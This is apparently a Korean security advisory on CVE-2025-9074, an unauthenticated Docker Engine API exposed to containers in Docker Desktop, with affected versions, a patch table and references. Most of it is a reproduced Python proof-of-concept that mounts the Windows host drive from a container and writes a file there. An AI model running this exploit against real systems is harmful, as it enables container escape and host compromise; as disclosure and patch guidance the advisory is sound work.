1. Docker Desktop

- 윈도우나 macOS 환경에서 컨테이너 기반 애플리케이션을 손쉽게 개발하고 실행하기 위한 통합 환경을 제공 [1]

2. CVE-2025-9074

[사진 1] CVE-2025-9074 [2]

- 로컬 컨테이너가 인증 없이 Docker 서브넷(192.168.65.7:2375)을 통해 Docker Engine API에 액세스할 수 있게되는 취약점 (CVSS: 9.3)

> 컨테이너 탈출과 잠재적인 전체 호스트 손상시킬 수 있음

영향받는 버전
- Docker Desktop 4.25 이상 ~ 4.44.3 미만

 

- Windows/macOS의 Docker Desktop은 게이트웨에 바인딩된 TCP 서비스를 통해 컨테이너에 HTTP APIhxxp://192.168.65.7:2375를 expose [3]

> 해당 API는 컨테이너 생성·시작, 이미지 관리, 호스트 볼륨 마운트 등과 같은 작업을 수행할 수 있게 해줌

> 컨테이너에서 API를 사용할 때 인증이나 TLS를 요구하지 않아 호스트의 관리 API와 통신이 가능

 

2.1 PoC

- 호스트 볼륨 바인딩을 사용하여 컨테이너를 생성한 뒤 컨테이너에서 Docker Engine API에 요청을 보내 호스트 파일시스템에 접근 [4]
① Docker Engine 동작 여부 및 버전 확인
② 컨테이너 생성 (호스트 디렉터리를 바인드 마운트)
③ 컨테이너 시작

"""
CVE-2025-9074 PoC (Windows Docker Desktop)
- Executes from inside ANY container on a vulnerable host
- Requires: pip install requests
- Effect: writes C:\pwn.txt on the Windows host via bind mount
- w01f [Aung Myat Thu]

EDU USE ONLY. Run only on systems you own or have permission to test.
"""

import argparse, json, sys
from urllib.parse import urljoin

try:
    import requests
except ImportError:
    print("[!] Please: pip install requests", file=sys.stderr)
    sys.exit(1)

def api(base, path, method="GET", **kwargs):
    url = urljoin(base if base.endswith('/') else base+'/', path.lstrip('/'))
    r = requests.request(method, url, timeout=8, **kwargs)
    if r.status_code >= 400:
        raise RuntimeError(f"{method} {path} -> {r.status_code} {r.text[:300]}")
    return r

def check_engine(base):
    r = api(base, "/_ping")
    if r.text.strip() != "OK":
        print(f"[?] Unexpected /_ping: {r.text.strip()}")
    v = api(base, "/version").json()
    ver = v.get("Version", "?")
    plat = v.get("Platform", {}).get("Name", "")
    os = v.get("Os", "")
    print(f"[+] Docker Engine: {ver} ({os} {plat})")
    return v

def create_container(base, image, cmd, bind_src, bind_dst, name=None):
    payload = {
        "Image": image,
        "Cmd": ["sh", "-c", cmd],
        "HostConfig": {
            "Binds": [f"{bind_src}:{bind_dst}"]
        }
    }
    params = {}
    if name:
        params["name"] = name
    r = api(base, "/containers/create",
            method="POST",
            params=params,
            headers={"Content-Type": "application/json"},
            data=json.dumps(payload))
    j = r.json()
    cid = j.get("Id")
    if not cid:
        raise RuntimeError(f"No container Id in response: {j}")
    return cid

def start_container(base, cid):
    api(base, f"/containers/{cid}/start", method="POST", data=b"")
    print(f"[+] Started container: {cid[:12]}")

def main():
    ap = argparse.ArgumentParser(description="CVE-2025-9074 PoC — Docker Desktop for Windows")
    ap.add_argument("--host", default="192.168.65.7", help="Docker Engine host (default: 192.168.65.7)")
    ap.add_argument("--port", type=int, default=2375, help="Docker Engine port (default: 2375)")
    ap.add_argument("--image", default="alpine", help="Image to run (default: alpine)")
    ap.add_argument("--host-path", dest="host_path", default="/mnt/host/c",
                    help="HOST path to bind (default: /mnt/host/c)")
    ap.add_argument("--mount-path", dest="mount_path", default="/host_root",
                    help="Container mount point (default: /host_root)")
    ap.add_argument("--outfile", default="pwn.txt", help="File to write on host C:\\ (default: pwn.txt)")
    args = ap.parse_args()

    base = f"http://{args.host}:{args.port}"
    print(f"[+] Targeting Docker HTTP API at {base}")
    try:
        check_engine(base)
    except Exception as e:
        print(f"[!] Engine not reachable or not vulnerable: {e}")
        sys.exit(2)

    cmd = f"echo pwned_by_CVE_2025_9074 > {args.mount_path}/{args.outfile}"
    try:
        cid = create_container(base, args.image, cmd, args.host_path, args.mount_path)
        print(f"[+] Created container: {cid[:12]}")
        start_container(base, cid)
        print(f"[+] If vulnerable, check on the HOST: C:\\{args.outfile}")
    except Exception as e:
        print(f"[!] PoC failed: {e}")
        sys.exit(3)

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-9074 Docker Desktop 4.25 이상 ~ 4.44.3 미만 4.44.3

4. 참고

[1] https://www.docker.com/products/docker-desktop
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-9074
[3] https://isosecu.com/blog/windows-cve-2025-9074-docker-ssrf
[4] https://github.com/zenzue/CVE-2025-9074
[5] https://docs.docker.com/security/security-announcements/#docker-desktop-4443-security-update-cve-2025-9074
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71849
[7] https://blog.qwertysecurity.com/Articles/blog3.html
[8] https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074
[9] https://hackyboiz.github.io/2025/09/06/l0ch/2025-09-06
[10] https://www.dailysecu.com/news/articleView.html?idxno=169074

+ Recent posts